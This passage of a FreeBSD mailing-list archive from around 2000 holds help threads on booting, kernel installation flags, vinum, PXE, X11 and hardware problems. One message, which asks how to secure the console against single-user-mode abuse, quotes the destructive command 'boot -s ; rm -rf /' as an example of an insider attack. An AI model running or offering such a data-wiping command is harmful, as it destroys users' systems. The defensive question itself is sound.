working with an old Portmaster PM2E.  You can check out Cistron at
http://www.miquels.cistron.nl/radius/ or http://www.freeradius.org

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from http://www.freebsd.org/handbook/boot-init.html

	5.5.2. Single-User Mode

	This mode can be reached through the automatic reboot
	sequence, or by the user booting with -s or setting the
	boot_single variable in loader.

	It can also be reached by calling shutdown without the reboot
	(-r) or halt (-h) options, from multi-user mode.

	If the system console console is set to insecure in /etc/ttys,
	then the system prompts for the root password before initiating
	single-user mode.

"the user booting with -s" means: During the boot process, when it
says "Hit [enter] to boot immediately, or any other key to...", you
hit some key other than enter. Then, at the prompt, type "boot -s". It
should boot into single-user mode.

Mount / (or wherever /etc is) in read-write mode and fix rc.conf.

-johnnnnnn

> Tnx.
> Still learning how to get this Freebsd to do what I want, which I might add
> is as easy as getting a beer when you are 14.
>
>> I would recomend booting into single user mode, mounting the drive, and
>> fixing the rc.conf




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I just decided to make my firewall rules more strict, so I set my type to
"simple" in rc.conf... and now I get this error 
Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
denied)

my rules are the same rules as the "simple" specification in rc.firewall. 

Could someone tell me how to get rid of this error?

KEn



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On Tue, 31 Oct 2000, John Baldwin wrote:
All right, I saw I was false in using bootp ... :-(

Now I set up a small DHCP server configuration with one 
experimental client. Starting bootprocess over LAN with
PXE NIC works, it receives it's IP, netmask, gateway IP.
But when starting TFTP (I think now we are to boot any kind 
of bootloader) I have no glue what's going on ... :-( When
using bootp previously I used a partition /usr/vol1/diskless
in which I let tftpd 'chroot' (by obtaining -s in inetd.conf),
there I created tftpboot and rootfs. In tftpboot I installed as 
suggested some small files like 'cfg.10.0.0.1' for booting the
apropriate station by IP. Well, all things seems to be different 
from the traditional bootp/tftp configuration when using DHCPD.

It seems that it is not very common to use FBSD as diskless
X Terminal that way. I can not find any suggestions how to do
a full install, I found a lot of fragments, a mixture fo DHCP
and bootp.
:>
:>On 31-Oct-00 O. Hartmann wrote:
:>> Hello.
:>> 
:>> I do some tests on a diskless machine and I get no success on it.
:>> I have to install a bunch of diskless X11 terminals (custom made)
:>> based on standard hardware. As NIC we have Intel EtherExpress
:>> PRO 10/100+ adaptors (fxp). They have all the same freshly updated
:>> PXE boot PROM (flash) version 4.0.12 from Intel (PXE-standard 2.0).
:>> 
:>> I already set up bootp and tftp (as I did this three years ago using
:>> netboot image to boot several PCs into a diskless workstation, that worked
:>> well!). 
:>> 
:>> I use now this NIC without success using bootpd and tftpd on a FreeBSD
:>> box, but with success with ISC DHCPD. Why? Is PXE explicitely using
:>> some advantages of DHCP or is there a configuration trick in bootptab?
:>> I want to use bootp and tftp because it's standard in FreeBSD.
:>
:>PXE uses DHCP, so you will have to use the DHCP server.
:>
:>> Thanks for helping ...
:>> Oliver
:>> -
:>> MfG 
:>> O. Hartmann
:>> -------------------------------------------------------------------
:>> ohartman@ipamzlx.physik.uni-mainz.de
:>
:>-- 
:>
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:>

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Actually, I replied to the original poster. Somehow the messages have gotten
very confused. Your reply was fine. I was asking the original poster to be a
little nicer as it might enhance his possibility of obtaining a solution.

Sorry for the confusion.

Victor Cardona
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> Me?  I didn't mean to come off being rude on my reply.
>
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Running FreeBSD 4.1 release on a PII 450 with 192 megs of ram. 

Tried to install a soundblaster awe32 card on the system, not really
important, but it didnt work...

Recompiled kernel with pcm and sbc added from LINT.

ran "sh MAKEDEV snd0" in the /dev dir...

rebooted and it detected the card with all the correct settings...

tried to run both mpg123 and xmms and sox and it registers the playing
visually but no sound..

System is dual booted between BSD and Win2000...under 2000 the card works
perfectly...

Any help would be greatly appreciated...

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On 31-Oct-00 O. Hartmann wrote:
> On Tue, 31 Oct 2000, John Baldwin wrote:
> All right, I saw I was false in using bootp ... :-(
> 
> Now I set up a small DHCP server configuration with one 
> experimental client. Starting bootprocess over LAN with
> PXE NIC works, it receives it's IP, netmask, gateway IP.
> But when starting TFTP (I think now we are to boot any kind 
> of bootloader) I have no glue what's going on ... :-( When
> using bootp previously I used a partition /usr/vol1/diskless
> in which I let tftpd 'chroot' (by obtaining -s in inetd.conf),
> there I created tftpboot and rootfs. In tftpboot I installed as 
> suggested some small files like 'cfg.10.0.0.1' for booting the
> apropriate station by IP. Well, all things seems to be different 
> from the traditional bootp/tftp configuration when using DHCPD.
> 
> It seems that it is not very common to use FBSD as diskless
> X Terminal that way. I can not find any suggestions how to do
> a full install, I found a lot of fragments, a mixture fo DHCP
> and bootp.

Use a NFS root, which is the easiest way.  I did this for the terminal room at
BSDCon.  For one thing, read the pxeboot(8) manpage, which explains some of
this.  Also, for an example of using PXE (though not one which entirely applies
to your situation) look at http://people.FreeBSD.org/~alfred/pxe/ which covers
using PXE to install on boxes.

-- 

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Petter Andre Haugseth <Petter@pcsupport.no> types:

First comment: chose more descriptive subject lines; you're more
likely to get answers.

> I would have loved to have KDE2 (and maybe XFree86 4.0.1/2) but I have som
> trouble installing it... have have downloaded the ports of KDE2, but when i
> try to "pkg_add qt-2.1.1.tgz" i get several error-messages saying that I
> dont have XFree86-3.3.6 installerd and png-1.0.8 among others... I have
> installerd png-1.0.8_1.tgz, but I  get the same error message....

Sounds like you're trying to install packages from different versions
of the ports tree. I.e. - qt-2.1.1 (now obsolete) is looking for an
older version of png-1.0.8 than you installed.

You may want to upgrade your ports tree; a lot of work has been done
recently to deal with having two versions of X around, and making
library dependencies cleaner.

You can also use the "-f" flag of pkg_add to get things installed if
the problem is different versions of a shared library. However, they
may not work properly afterwards.

> So my question is, when is the next release of FreeBSD 4.x comming, and if
> possible, where do I get the ISO file...?

The next release should be in the next month or so. You'll be able to
order CDROM's from the usual sources.

> Is it going to include XFree4.0 and KDE2..?

Well, both are in the ports tree. That's probably where they're going
to stay. KDE isn't the kind of thing that gets included in the base
system, and there's no indication that XFree4.0 has had the root
compromises fixed. I can't say whether or not a package will be
available on the CDROM set.

> What about PCMCIA support. I have some troubble with that to, where do I
> find a nice FAQ..

PCMCIA support is improving all the time. There doesn't seem to be a
FAQ dealing with such, though.

	<mike


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Hi there,

I have a hardware RAID-5 setup, using 3 Cheetahs 18.9Gb 15000rpm. When i run
Bonnie, this is the output:

bash-2.04$ bonnie
File './Bonnie.248', size: 104857600
Writing with putc()...done
Rewriting...done
Writing intelligently...done
Reading with getc()...done
Reading intelligently...done
Seeker 1...Seeker 2...Seeker 3...start 'em...done...done...done...
              -------Sequential Output-------- ---Sequential
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              -Per Char- --Block--- -Rewrite-- -Per
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Machine  MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU  /sec
%CPU
               100  4769   13.4    4814     4.1    5767    5.7    24421
100.0  239718 96.4 31833.2 199.6
bash-2.04$

This seems really bad to me, on a "normal" system i get measurements maybe 8
higher then this. What could be causing this? No use of DMA? How can i see
whether it's using DMA? And how do i enable it?
The SCSI Caching Raid controller is an Adaptec 2100s. Also, the creation of
the 35Gb Raid array took 4 hours to complete. The server is going to be a
database server.
Could somebody please tell me what's going on?

Rick Jansen
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Hi there,

I have a hardware RAID-5 setup, using 3 Cheetahs 18.9Gb 15000rpm. When i run
Bonnie, this is the output:

bash-2.04$ bonnie
File './Bonnie.248', size: 104857600
Writing with putc()...done
Rewriting...done
Writing intelligently...done
Reading with getc()...done
Reading intelligently...done
Seeker 1...Seeker 2...Seeker 3...start 'em...done...done...done...
              -------Sequential Output-------- ---Sequential
Input-- --Random--
              -Per Char- --Block--- -Rewrite-- -Per
Char- --Block--- --Seeks---
Machine  MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU  /sec
%CPU
               100  4769   13.4    4814     4.1    5767    5.7    24421
100.0  239718 96.4 31833.2 199.6
bash-2.04$

This seems really bad to me, on a "normal" system i get measurements maybe 8
higher then this. What could be causing this? No use of DMA? How can i see
whether it's using DMA? And how do i enable it?
The SCSI Caching Raid controller is an Adaptec 2100s. Also, the creation of
the 35Gb Raid array took 4 hours to complete. The server is going to be a
database server.
Could somebody please tell me what's going on?

Rick Jansen
**************
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Just loaded FreeBSD 3.4 from CD-ROM onto a Gateway Solo 2500 Laptop
computer. I am unable to mount the floppy drive. I receive an 'input/output
error' after entering the mount command. When I use the 'dmesg' command, I
receive the following - 

/kernel: fd0: recal failed ST0 70<abnrml,seek_cmplt,equ_chck> cyl 0
/kernel: fd0: hard error reading fsbn 0 (No status)

I've tried using 'mount -t /dev/fd0 /floppy'
'mount_msdos /dev/fd0 /floppy'
'mount /dev/fd0 /floppy'

I have created '/floppy' in the root directory.

Any ideas?

regards,

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> On Tue, Oct 31, 2000 at 07:39:42PM +0200, Joel Bjork wrote:
> > I have a couple of processes stuck in this state:
> > 
> > moster 81345  0.0  1.0  1112  720  ??  Ds   Fri03PM
> > 
> > kill nor kill -9 works, is there any way to kill these processes short of
> > rebooting the machine?

* Marc Silver <marcs@draenor.org> [001031 12:15] wrote:
> Try (if possible, and if it's there) to find the parent pid for this
> process.  Killing that may release the children processes from whatever
> wait state they're currently in.  :)

That's incorrect in this case.

That would be state 'Z' for zombie, killing a parent of a zombie
will make it go away, however Joel's process is in 'D' which is:

             D       Marks a process in disk (or other short term, uninter-
                     ruptible) wait.

So Joel is basically stuck with this guy until he fixes whatever
is making the process stuck, or reboots.

These states are listed in the manpage for ps(1).

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I've got a HEAP of networks running with this setup, typically FreeBSD
gateways running
sendmail / apache / etc,  Win2000 Pro / Server / Advanced  Server running
backend stuff
(database / accounting packages / documentation  / backup & Win95 / 98 / ME
desktops.
I've never had any particular problems with them. In some instances all
machines have public
IP's & in others only the gateway & a Win2000 Server have "real" ones, the
others getting a
DHCP address from the 2000 Server. I'd be looking at NIC interface setting
first, then at
regular stuff like gateway & DNS. There's nothing special about Win2000 if
you tell the thing
its part of a workgroup ...... hmmmmm ...  yours doesn't think its a domain
controller or
something does it ??


----- Original Message -----
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Sent: Tuesday, October 31, 2000 6:45 AM
Subject: help! connection between FBSD and win2k lost after FBSD dialup


> Guys,
>
> I have a FreeBSD gateway dialup to ISP. The other box running also
> freebsd can get onto internet through the gateway. However, when I boot
> the client box into win2000, the connection between this two boxes was
> lost. Before ppp dialup, they can see each other.
>
> What's wrong in Win200 setup? (I don't use windows much, that was for my
> wife)
>
> --
> Chen
>
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Hurf Sheldon <hurf@Graphics.Cornell.EDU> types:
> Hi Folks,
> Some questions re: FreeBSD installs.
> I've just installed 4.1 from the CD-Rom dated August. Is that considered
> the "stable"? We installed the "X with kernel sources" selection
> with no extras save linux and 3.2 binary compatability. 

You just installed -release. -stable can be considered a stream of bug
fixes/enhancements for -release.

> During the install the disk format routine would only allow 4 partitions
> (9gb SCSI on adaptec 2940) - anything further was given the device entry
> "X"

Are you referring to the things DOS calls partitions, which FreebSD
calls slices; or the things FreeBSD calls partitions, which have no
counterpart in DOS?

If the former, then yes, you only get 4 slices. That's all the DOS
allows, though it lets you create an "extension" slice that can hold
other slices - which FreeBSD doesn't work with :-(.

If the latter, then please provide more details - like what partitions
you created, and what failed to create.

> After boot and  kernel rebuild (for dual cpus ), we can't mount the
> CDROM for 
> additional package installs (from /stand/sysinstall) - we get the error
> - - "bad super block"

"bad super block" sounds like you're using the wrong file system type
(or the CDROM is hosed). How are you trying to mount the cdrom? If
you're letting them mount command pull things from /etc/fstab, what's
in that file? And what have you already got mounted?

> We have several FreeBSD systems, now spanning 3.2->4.1. I'm curious what
> schemes people are using to keep a group of systems updated as
> painlessly
> as possible. There are 3 fronts: The system software, the packages and
> the ports that we'd like to be able to keep synced among the systems.
> What has been successful?

Lots of things have been successful. Just maintaining them all by hand
works, but is the most painful. Sharing things via NFS works quite
well, especially for the ports/packages stuff. I maintain several
systems by export /usr/src & /usr/obj, doing "make buildworld" on the
fastest machine around, and "make installworld" on the others, though
that requires coordinating /etc/make.conf. Some people find that rdist
(or rsync) work quite well. It depends on how much commonality you
want and how much interdependence you're willing to allow. Done right,
one person can support hundreds of systems without being overworked -
and all those methods have been used to do so.

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yo can try:

mount -t msdos /dev/fd0a /mnt/floppy

create the floppy directory under the /mnt  point

check the mount and  unmount man pages!

Also check your devices!, check for fd?????,  under /dev it should be
something near

fd0a1440 or something like that.

good look!

Eric De La Cruz Lugo.
Merida, Yucatan, Mexico.


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> Just loaded FreeBSD 3.4 from CD-ROM onto a Gateway Solo 2500 Laptop
> computer. I am unable to mount the floppy drive. I receive an
'input/output
> error' after entering the mount command. When I use the 'dmesg' command, I
> receive the following -
>
> /kernel: fd0: recal failed ST0 70<abnrml,seek_cmplt,equ_chck> cyl 0
> /kernel: fd0: hard error reading fsbn 0 (No status)
>
> I've tried using 'mount -t /dev/fd0 /floppy'
> 'mount_msdos /dev/fd0 /floppy'
> 'mount /dev/fd0 /floppy'
>
> I have created '/floppy' in the root directory.
>
> Any ideas?
>
> regards,
>
> Dana E Morrow
> Comm: 618-256-1114
>
>
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frank xu <bsdman@hotmail.com> types:
> Hi,
>   How can I obtain shift,alt and ctrl key state using curses library under 
> FreeBSD?

Enable mouse events, and ask the user to click a mouse button and read
them from the mouse event (see the curs_mouse man page). Of course,
that doesn't work if the user doesn't have a mouse.

Which is pretty much true for any solution. Curses talks to
*terminals*, which send (and receive) characters. Those keys are used
by some terminals to help construct the characters you read with
wgetch. The terminal your user is on may not have some (or any) of
those keys. For instance, using SSH on a Palm pilot I have no keys; I
send a Control-C by stroking ^ C and hitting the "send" button.

So what you have to do is use wgetch to read the character, then
examine the character to see what is and isn't on. The ctype man page
lists functions you can use to do that (assuming you're writing in
C). The curs_getch man page is also of interest, as it lists things
that getch can return that represent various non-ascii keys on the
keyboard. Finally, alt is usually the high bit (0x80), but not
always. If on, you may need to mask it off and the try the ctype tests
for the others.

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On Tue, Oct 31, 2000 at 02:13:02PM -0600, leoric@home.com wrote:
> Hmm... It seems that my /kernel file is set to -r-xr-xr-x
> 
> Is there any way to rm, mv, or chmod the file when it is like this. If
> root doesnt have write access to the file then how can get my new kernel
> installed?
> 
> 

You can't remove the kernel with rm because it has the immutable flag set (see
chflags(1)). You can remove this flag with `chflags noschg', but doing `make
install' when building the kernel will take care of this (and of resetting
this flag on the newly installed kernel).

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On Tue, 31 Oct 2000, Charlie Root wrote:

>    I have a pentium 2 300MHz class machine, with an SiS 5598 video
> board.

There's your problem.  SiS stuff is crap.  And besides, it wouldn't be
FreeBSD's problem, it's XFree86's.


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I posted this question earlier but, let me better explain my problem. I
am unable to install a new kernel because the permissions on /kernel
somehow became -r-xr-xr-x. I am unable to move or delete the old kernel
file. How am I supposed to do this as root without write permission to
the file?



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If you are root, you should be able to override it.  If it still
doesn't let you move or delete the old kernel, then you probably have
the kernel securelevel set too high.

On Tue, 31 Oct 2000 17:00:31 -0600, leoric@home.com wrote:

>I posted this question earlier but, let me better explain my problem. I
>am unable to install a new kernel because the permissions on /kernel
>somehow became -r-xr-xr-x. I am unable to move or delete the old kernel
>file. How am I supposed to do this as root without write permission to
>the file?
>
>
>
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On Tue, 31 Oct 2000 leoric@home.com wrote:

> I posted this question earlier but, let me better explain my problem. I
> am unable to install a new kernel because the permissions on /kernel
> somehow became -r-xr-xr-x. I am unable to move or delete the old kernel
> file. How am I supposed to do this as root without write permission to
> the file?

That is the default permission for the kernel. That alone does not prevent
you moving/deleting the kernel file. The file attributes are preventing
you from doing this.

You need to do: chflags noschg <kernel file> first. Read man chflags(1).

G
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When it tries to do the chflags command in the kernel installation I get the
error:

chflags: /kernel: Operation not permitted
*** Error code 1 (ignored)
mv /kernel /kernel.old
mv: rename /kernel to /kernel.old: Operation not permitted
*** Error code 1

Stop in /usr/obj/usr/src/sys/SIREN.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.


Chive wrote:

> On Tue, Oct 31, 2000 at 02:13:02PM -0600, leoric@home.com wrote:
> > Hmm... It seems that my /kernel file is set to -r-xr-xr-x
> >
> > Is there any way to rm, mv, or chmod the file when it is like this. If
> > root doesnt have write access to the file then how can get my new kernel
> > installed?
> >
> >
>
> You can't remove the kernel with rm because it has the immutable flag set (see
> chflags(1)). You can remove this flag with `chflags noschg', but doing `make
> install' when building the kernel will take care of this (and of resetting
> this flag on the newly installed kernel).
>
> --
> Chive.
>
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On Mon, Oct 30, 2000 at 01:40:27PM -0800, Chris Angell wrote:
> The line below pops up often in my dnslogs.  Could anyone tell me what it
> is?
> 
> Oct 30 13:33:01 www 
> named[79]: ns_resp: query(30.1.206.167.in-addr.arpa) NS points to CNAME 
> (NS1.CV.NET:)

The nameserver record (NS record) for the CV.NET domain points to a CNAME,
i.e. an alias and not the real IP of the server.

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On Tue, 31 Oct 2000, George Reid (i.e. me) wrote:

> That is the default permission for the kernel. That alone does not prevent
> you moving/deleting the kernel file. The file attributes are preventing
> you from doing this.
> 
> You need to do: chflags noschg <kernel file> first. Read man chflags(1).

Semantic correction: s/attribute/flag/

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I poseted this via DejaNews a week ago and received no response, so I am
sending directly to the mailing list in hopes of reaching more people. (Does it
make a difference?) I kept it cryptic to save readers' time, but maybe too
cryptic. 

Basically I'm looking for start-up help with vinum, the disk mirroring
software. I have read Lehey ch. 14 and the vinum man page, but still can't get
it going. Obviously stuck on some trivial detail that has escaped me. If you
can help I'd sure appreciate it.

=-=-=-=-=

Stuck in vinum setup, Invalid argument error.
  
 FreeBSD 4.1 as server
 Two SCSI hard drives, da0 and da1
 Goal: - root, usr, small windows share on da0
       - apache web content on da1
       - mirrored volume for user mail storage
  
 Output of df:
  
 Filesystem	1K-blocks	Used	Avail	Capacity	Mounted on
 /dev/da0s2a	49583      	26940	18677	    59%  /
 /dev/da0s3e  	4359077        	1  	4010350    0%    /p0
 /dev/da1s1e  	4359077        	1  	4010350    0%    /p1
 /dev/da0s2f  	1348443  	123768	1116800    10%    /usr
 /dev/da0s2e    	19815      	242	17988        1%    /var
 /dev/da0s4e  	2280928        	1  	2098453    0%    /win
 /dev/da1s2e  	4242621        	1  	3903211    0%    /www
 procfs              	4        		4        0  100%    	/proc
  
 Vinum configuration file (vinumcfg):
  
 drive a device /dev/da0s3e
 drive b device /dev/da1s1e
 volume profiles
   plex org concat
     sd length 4g drive a
   plex org concat
     sd length 4g drive b
  
  
 vinum -> create vinumcfg
   1: drive a device /dev/da0s3e
 ** 1 : Invalid argument
   2: drive b device /dev/da1s1e
 ** 2 : Invalid argument
 0 drives:
 1 volumes:
 V profiles              State: down    Plexes:      2 Size:      4096 MB
  
 2 plexes:
 P profiles.p0        C State: faulty  Subdisks:    1 Size:      4096 MB
 P profiles.p1        C State: faulty  Subdisks:    1 Size:      4096 MB
  
 2 subdisks:
 S profiles.p0.s0        State: crashed  PO:        0  B Size:      4096 MB
 S profiles.p1.s0        State: crashed  PO:        0  B Size:      4096 MB
  
  
 Excerpted from man vinum:
  
 device devicename
  
 Specify the device on which the drive resides.
 devicename must be the name of a disk parti-
 tion, for example /dev/da1e or /dev/wd3s2h, and
 it must be of type vinum. Do not use the c par-
 tition, which is reserved for the complete
 disk.
  
 My hunch is I am either using the wrong name form, or when I created the slice I used the
 wrong type (freebsd).
  
 Thanks in advance for your thoughts.
-- 
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* Gary Dunn <gdunng@mac.com> [001031 15:28] wrote:
> 
> =-=-=-=-=
> 
> Stuck in vinum setup, Invalid argument error.
>   
>  FreeBSD 4.1 as server
>  Two SCSI hard drives, da0 and da1
>  Goal: - root, usr, small windows share on da0
>        - apache web content on da1
>        - mirrored volume for user mail storage
>   
>  Output of df:
>   
>  Filesystem	1K-blocks	Used	Avail	Capacity	Mounted on
>  /dev/da0s2a	49583      	26940	18677	    59%  /
>  /dev/da0s3e  	4359077        	1  	4010350    0%    /p0
>  /dev/da1s1e  	4359077        	1  	4010350    0%    /p1

--^^^^^^^^^^^ ummm...

>  /dev/da0s2f  	1348443  	123768	1116800    10%    /usr
>  /dev/da0s2e    	19815      	242	17988        1%    /var
>  /dev/da0s4e  	2280928        	1  	2098453    0%    /win
>  /dev/da1s2e  	4242621        	1  	3903211    0%    /www
>  procfs              	4        		4        0  100%    	/proc
>   
>  Vinum configuration file (vinumcfg):
>   
>  drive a device /dev/da0s3e
>  drive b device /dev/da1s1e
>  volume profiles
>    plex org concat
>      sd length 4g drive a
>    plex org concat
>      sd length 4g drive b
>   

using an already mounted filesystem to back a raid setup is a BAD idea.

>   
>  vinum -> create vinumcfg
>    1: drive a device /dev/da0s3e
>  ** 1 : Invalid argument
>    2: drive b device /dev/da1s1e
>  ** 2 : Invalid argument

of course, they're mounted and not fstype 'vinum' which the manpage
explains:

   DRIVE LAYOUT CONSIDERATIONS
     vinum drives are currently BSD disk partitions.  They must be of type
     vinum in order to avoid overwriting data used for other purposes.  Use
     disklabel -e to edit a partition type definition.  The following display
     shows a typical partition layout as shown by disklabel:

...

-Alfred



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Hey Everyone,

I'm having a strange problem w/ X.  I can go into it and use it just fine,
however when I exit or switch back to console the monitor goes into sleep
mode.  However if I hit the keys to go back to X it comes right back up.

It works fine when I first boot up, it's just after I go into X that this
starts.  Any help would be greatly appreciated :)

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i installed freebsd 4.1 on my ibm T20 laptop and after about 20 minute X 
freezes on me and the mouse
stops moving, i can't switch back to the shell and i have to shut off 
the computer by the old power switch,
the vulcan neckpinch doesn't even work...

has anyone experienced similar problems?



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Well the dmesg seems pretty clear.  The floppy drive looks bad, though I
don't know exactly what the error signifies.  Does it work in other
operating systems?  Even if it did that's no indication it's
not about to die.  If the device fails like that in probes, no mounting of
it will help.  Try putting in a new floppy drive.
						Tim

On Tue, 31 Oct 2000, Morrow Dana TSgt AMC CSS/NOSA wrote:

> Just loaded FreeBSD 3.4 from CD-ROM onto a Gateway Solo 2500 Laptop
> computer. I am unable to mount the floppy drive. I receive an 'input/output
> error' after entering the mount command. When I use the 'dmesg' command, I
> receive the following - 
> 
> /kernel: fd0: recal failed ST0 70<abnrml,seek_cmplt,equ_chck> cyl 0
> /kernel: fd0: hard error reading fsbn 0 (No status)
> 
> I've tried using 'mount -t /dev/fd0 /floppy'
> 'mount_msdos /dev/fd0 /floppy'
> 'mount /dev/fd0 /floppy'
> 
> I have created '/floppy' in the root directory.
> 
> Any ideas?
> 
> regards,
> 
> Dana E Morrow
> Comm: 618-256-1114
> 
> 
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hello,

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By any chance, you have an optical mouse?
I seem to get the samething, but 'only' when i have the optical mouse 
plugged in.

>Hey Everyone,
>
>I'm having a strange problem w/ X.  I can go into it and use it just fine,
>however when I exit or switch back to console the monitor goes into sleep
>mode.  However if I hit the keys to go back to X it comes right back up.
>
>It works fine when I first boot up, it's just after I go into X that this
>starts.  Any help would be greatly appreciated :)
>
>Thanks,
>Adam
>
>
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I'm doing some housekeeping and removing various packages.  As a "new"
newbie, this is my first experiment with the pkg_delete command and I'm
getting these kind of messages for each and every package that I'm removing:

milkmaker# pkg_delete -d wine-2000.08.21
pkg_delete: file `/usr/local/include/wine/wine' doesn't really exist
pkg_delete: unable to completely remove directory
'/usr/local/include/wine/wine'

I assume this means that directories that are expected to be there aren't.
Is this normal?  Why might the directories not be there?  I am sure I
haven't deleted them and everything I've installed has been via
/stand/sysinstall.

A little education or a nudge to a relevant web page would be greatly
appreciated.

Thanks,

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Nope, just a Microsoft PS/2 wheel mouse.  The problem only started when I
put my 17" monitor on (a Gateway EV700) but it worked fine when I had a 15"
Packard Bell screen.

I tinkered w/ the power management settings, but that didn't seem to affect
things.
Adam


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By any chance, you have an optical mouse?
I seem to get the samething, but 'only' when i have the optical mouse
plugged in.

>Hey Everyone,
>
>I'm having a strange problem w/ X.  I can go into it and use it just fine,
>however when I exit or switch back to console the monitor goes into sleep
>mode.  However if I hit the keys to go back to X it comes right back up.
>
>It works fine when I first boot up, it's just after I go into X that this
>starts.  Any help would be greatly appreciated :)
>
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>Adam
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I have the samething, but not with a laptop. For me, only happens with my 
optical mouse.

You can always exist X by issuing a CNTRL-ALT-BACKSPACE if it locks up, or, 
CNTRL-[ALT?]-F2, 3.. etc.. and login to kill the process(s).

I think, depending on your window manager, try using tab to see if X itself 
is locked, or something with the mouse drivers...

Regards.

>i installed freebsd 4.1 on my ibm T20 laptop and after about 20 minute X
>freezes on me and the mouse
>stops moving, i can't switch back to the shell and i have to shut off
>the computer by the old power switch,
>the vulcan neckpinch doesn't even work...
>
>has anyone experienced similar problems?
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> 
> I seem to recall some key that when combined with control (I believe) would
> show a single line with the current system operation.  This way, if the
> system seemed hung, you could hit this key and see that actually the system
> was in the middle of an I/O operation.  It is sort of like top, only one
> line, and only shows what the CPU is busy doing.  I have been looking all
> over for this and I can't find it.  I don't even know where to start looking
> .  Does anyone know what I am talking about here ?

Control+T?  Sample output:

load: 0.10  cmd: gzip 15818 [running] 0.46u 0.00s 0% 384k

Hope this helps

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Hi there,

Is there a way to secure the console of a FreeBSD box from someone 
rebooting, weather they pull the plug or CNTRL-ALT-DEL (if not disabled) and 
issuing a boot -s without having complete root access in single user mode 
with not password prompt?
In other words, what I mean is that anyone at the console can reboot the 
system, issue a boot -s, and have local root access! even `passwd root'.
Not something I want of course, and I haven't used Linux in a long long time 
(sigh of relief) but I recall they had a way of password protecting that 
somehow as well. There must be a way, because that's not very secure 
otherwise and would really suck if some discruntled employee gained access 
to the console and did boot -s ; rm -rf /. You know?

Also, i forgot, but some how on my BSD boxes, I disabled the CNTRL-ALT-DEL 
function, could anyone please remind me how I did it? :)

Thanks so much!
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Unless the network is lying to me again, Some Person said: 

> Is there a way to secure the console of a FreeBSD box from someone 
> rebooting, weather they pull the plug or CNTRL-ALT-DEL (if not disabled) and 
> issuing a boot -s without having complete root access in single user mode 
> with not password prompt?

sure... in /etc/ttys, read the part about "console" and the "secure" 
keyword.

AlanC


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Salvo,
Look carefully at what uname is showing you! 

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On Tue, 31 Oct 2000, Salvo Bartolotta in the last wild episode wrote:

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 10/31/00, 8:48:54 PM, "Philip M. Gollucci" <gollucci@wam.umd.edu> 
wrote regarding WIERDEST ERROR MSG EVER:


> Oct 31 15:45:37 p6m7g82k /kernel: calcru: negative time of 142102742 
usec
> for pid 14994 (navigator-4.73.us)

> uname -a
> FreeBSD p6m7g82k.student.umd.edu 4.1-RELEASE FreeBSD 4.1-RELEASE #1: 
Tue
> Oct 24 13:26:47 EST 2000
> root@p6m7g82k.student.umd.edu:/usr/src/sys/compile/PHILIP  i386

> What the hell does that mean and how would one go about fixing it... I 
get
> about 1-3 every 10 seconds while navigator-4.73.us is running ?




Dear Philip Gollucci,

<gentle suggestion>

0) Please keep in mind this is one of the most widely read FreeBSD 
mailing lists;

1) Please do your homework first: ie you may wish to have a look at 
the FAQ (in particular, at the Troubleshooting section) as well as at 
the archives, searching eg for "calcru"; you may also find a clue in LINT;

2) You may wish to run a more recent version of navigator :-)

</gentle suggestion> 

Best regards,
Salvo





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I am trying to build a kernel (which goes fine) but get these errors
when I try to install:

bash# make installkernel KERNEL=SIREN
cd /usr/obj/usr/src/sys/SIREN;  MAKEOBJDIRPREFIX=/usr/obj
COMPILER_PATH=/usr/obj/usr/src/i386/usr/libexec:/usr/obj/usr/src/i386/usr/bin

LIBRARY_PATH=/usr/obj/usr/src/i386/usr/lib:/usr/obj/usr/src/i386/usr/lib

OBJFORMAT_PATH=/usr/obj/usr/src/i386/usr/libexec
PERL5LIB=/usr/obj/usr/src/i386/usr/libdata/perl/5.00503 MACHINE=i386
make KERNEL=kernel install
chflags noschg /kernel
chflags: /kernel: Operation not permitted
*** Error code 1 (ignored)
mv /kernel /kernel.old
mv: rename /kernel to /kernel.old: Operation not permitted
*** Error code 1

Stop in /usr/obj/usr/src/sys/SIREN.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.

For some odd reason the kernel install isnt able to drop the schg flag
and I am unable to manually do with the chflags command. I have my
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it at 1 (set it at 0 but it was bumped up to 1 at boot). Anyone have any
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Hey folks..

Has anyone, by chance, found a way to graph the ram and swap in use with
MRTG? 

I'm not looking for /available/ memory/swap, but that which is used.

I have tried graphing .1.3.6.1.4.1.2021.4.4.0 (DESCRIPTION   "Available
Swap Space on the host.") but the numbers I see there
dont seem to match what I know is available on the system!  ucd-snmpd
under various 4.x -STABLE systems.

Similar results tracking .1.3.6.1.4.1.2021.4.6.0 (DESCRIPTION   "Available
Real/Physical Memory Space on the host.").  On some systems the numbers
might add up, but not usually.

But, what I /want/ to track is the .used. swap and ram..soo!:)

Any suggestions? any OIDs that should work? external programs are
acceptable too...(though of course not prefered..)

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On Mon, 30 Oct 2000, Zaitsau, Andrei wrote:

> I know this is really RTFM question,

Yes it is, so why not do so?  :^)

> but can you tell me how can I download the whole directory via FTP (console)
> on FreeBSD ? Without pressing Y to confirm on getting every single file. I
> tried mget * , but it asks me for a confirmation for every single file.

After you're logged in, before you try to download anything, type
'prompt' (without the quotes). The server will respond something like
'interactive mode off', and then you can do your 'mget *' without having
to confirm each file. This will get all the files, but maybe not any
(sub)directories, as someone else already mentioned. 

I see you're a Windows user, and I don't know how to drive any Windows
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> Nope, just a Microsoft PS/2 wheel mouse.  The problem only started when I
> put my 17" monitor on (a Gateway EV700) but it worked fine when I had a 15"
> Packard Bell screen.
> 
> I tinkered w/ the power management settings, but that didn't seem to affect
> things.

	I once had a similiar problem.... it turned out to be the outlet
itself. I moved it to a different room that was on a different circuit,
worked just great. Electrians found a 20 amp breaker installed where a 15
amp breaker should have been, unluckily some else in the lines was causing
the 15 amp breaker to continually break.. :)

					Rick

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> For some odd reason the kernel install isnt able to drop the schg flag
> and I am unable to manually do with the chflags command. I have my
> kernel security level in rc.conf set at 2 and got the same errors with
> it at 1 (set it at 0 but it was bumped up to 1 at boot). Anyone have any
> idea what the problem is?

You must be in securelevel -1.  See the init(8) manual page for details.

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Hi,

The time server on port 37 is explained in more detail in RFC #868 which
can be found at http://www.faqs.org/rfcs/rfc868.html

Basically, it is a program (or these days it is often built into the inetd
